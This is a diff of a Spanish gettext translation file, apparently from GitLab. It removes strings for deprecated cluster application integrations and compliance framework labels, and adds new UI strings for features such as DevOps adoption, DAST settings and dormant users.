@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Seleccione cuál de los entornos de su proyecto utilizará este clúster de Kubernetes."
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
-msgstr "Proyecto de administración de cluster (alpha)"
+msgid "ClusterIntegration|Cluster management project"
+msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "Se requiere el nombre del clúster."
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr "Copiar la URL del API"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "Copiar Certificado CA"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr "Copiar el endpoint de Ingress"
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr "Copiar el nombre del host de Jupyter"
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr "Copiar el endpoint de Knative"
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Copiar el nombre del clúster Kubernetes"
@@ -7162,12 +7141,6 @@ msgstr "Crear un nuevo cluster en GKE"
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr "Creando el cluster de Kubernetes"
-msgid "ClusterIntegration|Crossplane"
-msgstr "Crossplane"
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr "Elimina todos los recursos de GitLab adjuntos a este clúster durante la eliminación"
@@ -7183,9 +7156,6 @@ msgstr "¿Sabía usted?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr "Elastic Kubernetes Service"
-msgid "ClusterIntegration|Elastic Stack"
-msgstr "Stack de Elastic"
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr "Habilita o inhabilita la conexión de GitLab con su clúster Kubernetes.
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Habilite esta configuración si utiliza el control de acceso basado en roles (RBAC)."
-msgid "ClusterIntegration|Enabled stack"
-msgstr "Stack habilitado"
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr "Introduzca el nuevo token de servicio"
@@ -7246,27 +7213,12 @@ msgstr "Obtener proyectos"
msgid "ClusterIntegration|Fetching zones"
msgstr "Obtener zonas"
-msgid "ClusterIntegration|Fluentd"
-msgstr "Fluentd"
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integración GitLab"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "GitLab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr "Los ejecutores de GitLab se conectan al repositorio de código de este proyecto y ejecutan los trabajos de CI/CD, devolviendo los resultados e desplegando las aplicaciones a producción."
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr "ClusterIntegration|Grupo de clúster"
msgid "ClusterIntegration|HTTP Error"
msgstr "Error HTTP"
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Si está configurando varios clústeres y utiliza Auto DevOps, por favor lea primero, %{help_link_start} y %{help_link_end}."
@@ -7306,18 +7255,6 @@ msgstr "Si no desea eliminar todos los recursos de GitLab asociados, simplemente
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Entrada"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Endpoint de Ingress"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress le ofrece una forma de encaminar las solicitudes a los servicios en función del host o la ruta de la solicitud, centralizando una serie de servicios en un solo punto de entrada."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr "Instancia del clúster"
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr "Correo electrónico del emisor"
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Nombre del host Jupyter"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub es un concentrador multiusuario que genera, gestiona y representa varias instancias del servidor para un sólo usuario, Jupyter notebook. JupyterHub puede utilizarse para servir notebooks a una clase de estudiantes, a un grupo corporativo de ciencias de datos o a un grupo de investigación científica."
-
msgid "ClusterIntegration|Key pair name"
msgstr "Nombre del par de claves"
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Nombre de dominio de Knative:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Endpoint de Knative:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr "Se actualizó correctamente el nombre de dominio de Knative."
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knative extiende Kubernetes para proporcionar un conjunto de componentes de middleware que son esenciales para construir aplicaciones modernas y basadas en contenedores que pueden ejecutarse en cualquier lugar: en su propio centro de datos, en la nube o incluso en un centro de datos de terceros."
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr "Se está creando el clúster de Kubernetes..."
@@ -7405,9 +7312,6 @@ msgstr "Más información sobre los grupos de clústeres de Kubernetes"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Más información sobre los grupos de clústeres de Kubernetes"
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "Cargando roles de IAM"
@@ -7456,12 +7360,6 @@ msgstr "No se han encontrado pares de claves"
msgid "ClusterIntegration|No VPCs found"
msgstr "No se han encontrado VPCs"
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr "No se encontró un despliegue para este trabajo"
-
msgid "ClusterIntegration|No instance type found"
msgstr "No se encontró ningún tipo de instancia"
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Asegúrese de que su cuenta de Google cumpla con los siguientes requisitos:"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr "ClusterIntegration | Apunte un DNS comodín a este punto final generado para acceder a su aplicación después de que se haya desplegar."
-
msgid "ClusterIntegration|Project cluster"
msgstr "Clúster del proyecto"
@@ -7516,15 +7411,6 @@ msgstr "Espacio de nombres del proyecto (opcional, único)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr "Prefijo del espacio de nombres del proyecto (opcional, único)"
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr "Detalles del proveedor"
@@ -7561,24 +7447,6 @@ msgstr "Eliminar la configuración del clúster de Kubernetes de este proyecto.
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr "Elimina el clúster del proyecto pero mantiene los recursos asociados"
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "Reemplácelo con su propio nombre de host si lo desea. Si lo hace, apunte el nombre de host a la Dirección IP de Ingress que se muestra en la parte superior."
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "Falló la solicitud para iniciar la instalación"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr "La solicitud para comenzar la desinstalación ha fallado"
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr "Nombre de host SIEM"
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr "Puerto SIEM"
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr "Protocolo SIEM"
-
msgid "ClusterIntegration|Save changes"
msgstr "Guardar cambios"
@@ -7591,9 +7459,6 @@ msgstr "Buscar pares de claves"
msgid "ClusterIntegration|Search VPCs"
msgstr "Buscar VPCs"
-msgid "ClusterIntegration|Search domains"
-msgstr "Buscar dominios"
-
msgid "ClusterIntegration|Search instance types"
msgstr "Buscar tipos de instancia"
@@ -7642,15 +7507,9 @@ msgstr "Seleccione una región para elegir un par de claves"
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr "Seleccione una región para elegir una VPC"
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr "Seleccione un stack para instalar Crossplane."
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "Seleccione una zona para elegir una red"
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr "Seleccione un dominio existente o utilice nuevo"
-
msgid "ClusterIntegration|Select machine type"
msgstr "Seleccione el tipo de máquina"
@@ -7675,9 +7534,6 @@ msgstr "Seleccione la zona"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Seleccione la zona para elegir el tipo de máquina"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Token de servicio"
@@ -7696,27 +7552,12 @@ msgstr "Algo salió mal de nuestro lado."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr "Se ha producido un error al crear su clúster de Kubernetes"
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "Algo salió mal durante la instalación de %{title}"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr "Se ha producido un error al desinstalar %{title}"
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr "Se ha producido un error al intentar actualizar el nombre de dominio de Knative."
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr "Subredes"
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr "El certificado Kubernetes utilizado para autenticarse en el clúster."
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "La URL utilizada para acceder a la API de Kubernetes."
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr "La dirección IP asociada y todos los servicios implementados seran eliminados y no se podrán restaurar. Al desinstalar Knative también se eliminará Istio de su clúster. Estos cambios no afectarán a ninguna de sus otras aplicaciones."
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr "Se eliminarán el balanceador de carga asociado y la dirección IP y no podrán ser restaurados."
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr "Se eliminará la clave privada asociada y no podrá ser restaurada."
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr "El endpoint está en proceso de ser asignado. Por favor verifique su cluster o las cuotas de Google Kubernetes Engine si es proceso tarda mucho tiempo en finalizar."
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr "Para acceder a su aplicación después del despliegue, apunte un registroDNS comodín al endpoint de Knative."
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "ClusterIntegration | Desinstalar %{appTitle}"
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr "Actualizar %{appTitle}"
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr "Se ha podroducido un erro al actualizar. Por favor revise los registros y vuelva a intentarlo."
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr "Usar %{query}"
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "Utiliza los complementos Cloud Run, Istio y balanceo de carga HTTP para este clúster."
@@ -7837,27 +7645,12 @@ msgstr "Está a punto de eliminar la integración del cluster y todos los recurs
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr "Está a punto de eliminar la integración de clúster."
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr "Está a punto de desinstalar %{appTitle} de su cluster."
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr "Debes conceder acceso a los recursos AWS de su organización para poder crear un nuevo clúster EKS. Para garantizar el acceso, cree un rol de provisión utilizando la cuenta y el ID externo que se muestra a continuación y proporciónenos su ARN."
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr "Debe tener un cluster RBAC habilitado para instalar Knative."
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr "Debe especificar un dominio antes de poder instalar Knative."
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr "Debe seleccionar al menos dos subredes"
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr "Su cluster Elasticsearch será recreado durante esta actualización. Sus registros serán reindexados y perderá registros históricos de los hosts de los últimos 30 días."
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "Su cuenta debe tener %{link_to_kubernetes_engine}"
@@ -7873,12 +7666,6 @@ msgstr "Zona"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "acceso a Google Kubernetes Engine"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr "puede utilizarse en lugar de un dominio personalizado. "
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr "cumple con los requisitos"
@@ -7951,6 +7738,9 @@ msgstr "Se requiere la aprobación del propietario del código"
msgid "Code owners"
msgstr "Propietarios del código"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr "Patrón"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr "Creado por:"
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr "GDPR"
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr "HIPAA"
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr "PCI-DSS"
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr "SOC 2"
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr "SOX"
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr "ComplianceFramework|SOX - ley Sarbanes-Oxley"
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr "Configuración"
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "Configure los ejecutores de GitLab para comenzar a usar el terminal web. %{helpStart}Aprenda más.%{helpEnd}"
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,8 +8745,8 @@ msgstr "Contribuidores"
msgid "Control emails linked to your account"
msgstr "Controle los correos electrónicos vinculados a su cuenta"
-msgid "Control the display of third party offers."
-msgstr "Controlar la visualización de las ofertas de terceros."
+msgid "Control whether to display third-party offers in GitLab."
+msgstr ""
msgid "Cookie domain"
msgstr "Dominio de la cookie"
@@ -9021,6 +8784,9 @@ msgstr "Copiar ID externo al portapapeles"
msgid "Copy ID"
msgstr "Copiar el ID"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "Copiar la URL de clonado KRB5"
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr "Copiar este valor"
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "Crear rama"
@@ -9456,9 +9222,6 @@ msgstr "Crea tu primera página"
msgid "Create your group"
msgstr "Cree su grupo"
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr "Cree/importe su primer proyecto"
@@ -9690,6 +9453,12 @@ msgstr "Tokens de acceso personal"
msgid "CredentialsInventory|SSH Keys"
msgstr "Claves SSH"
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr "Vulnerabilidades críticas presentes"
@@ -9699,9 +9468,6 @@ msgstr "Zona horaria del Cron"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr "Crossplane"
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr "Proyecto actual"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "Nodo actual"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "Personalizar colores"
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -10081,6 +9844,18 @@ msgstr "%{firstProject}, %{rest}, y %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr "Selector de fecha"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr "Días"
msgid "Days to merge"
msgstr "Días para hacer merge"
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,8 +10275,8 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
-msgstr "Ruta de configuración de CI por defecto"
+msgid "Default CI/CD configuration file"
+msgstr ""
msgid "Default Timeout Period"
msgstr ""
@@ -10620,6 +10395,9 @@ msgstr "Eliminar comentario"
msgid "Delete domain"
msgstr "Eliminar dominio"
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr "Informe DevOps"
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr "Incidencias"
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
-msgstr "Límites de contenido del diff"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
+msgstr ""
msgid "Diff limits"
msgstr "Límites del diff"
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr "Diferencia entre la fecha de inicio y ahora"
@@ -11647,8 +11449,8 @@ msgstr "Mostrar el archivo renderizado"
msgid "Display source"
msgstr "Mostrar fuente"
-msgid "Do not display offers from third parties within GitLab"
-msgstr "No mostrar ofertas de terceros dentro de GitLab"
+msgid "Do not display offers from third parties"
+msgstr ""
msgid "Do you want to remove this deploy key?"
msgstr ""
@@ -11698,8 +11500,8 @@ msgstr "No incluir la descripción en el mensaje del commit"
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr "No pegue la parte privada de la clave GPG. Pegue la parte pública que empieza por: '----- BEGIN PGP PUBLIC KEY BLOCK -----'."
-msgid "Don't send usage data"
-msgstr "No enviar datos de uso"
+msgid "Don't send service data"
+msgstr ""
msgid "Don't show again"
msgstr "No mostrar de nuevo"
@@ -11707,6 +11509,9 @@ msgstr "No mostrar de nuevo"
msgid "Done"
msgstr "Hecho"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Descargar"
@@ -11923,9 +11728,6 @@ msgstr "Editar incidencias"
msgid "Edit iteration"
msgstr "Editar iteración"
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr "Editar clave pública de despliegue"
@@ -11959,9 +11761,6 @@ msgstr "Editado %{timeago}"
msgid "Editing"
msgstr "Editando"
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr "No se ha podido enviar el correo electrónico"
msgid "Email display name"
msgstr "Nombre para mostrar en el correo electrónico"
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr "Correo electrónico no verificado. Por favor, verifique su correo electrónico en Salesforce."
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr "Habilitar Kroki"
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "Habilitar PlantUML"
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Habilitar la recolección de datos Pseudonymizer"
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,14 +12055,11 @@ msgstr "Habilitar el modo de mantenimiento"
msgid "Enable mirror configuration"
msgstr "Habilitar configuración de espejo"
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Habilitar o deshabilitar la recolección de datos con Pseudonymizer."
-msgid "Enable or disable version check and usage ping."
-msgstr "Habilite o deshabilite la comprobación de versión y el ping de uso."
+msgid "Enable or disable version check and service ping."
+msgstr ""
msgid "Enable protected paths rate limit"
msgstr ""
@@ -12271,6 +12076,9 @@ msgstr ""
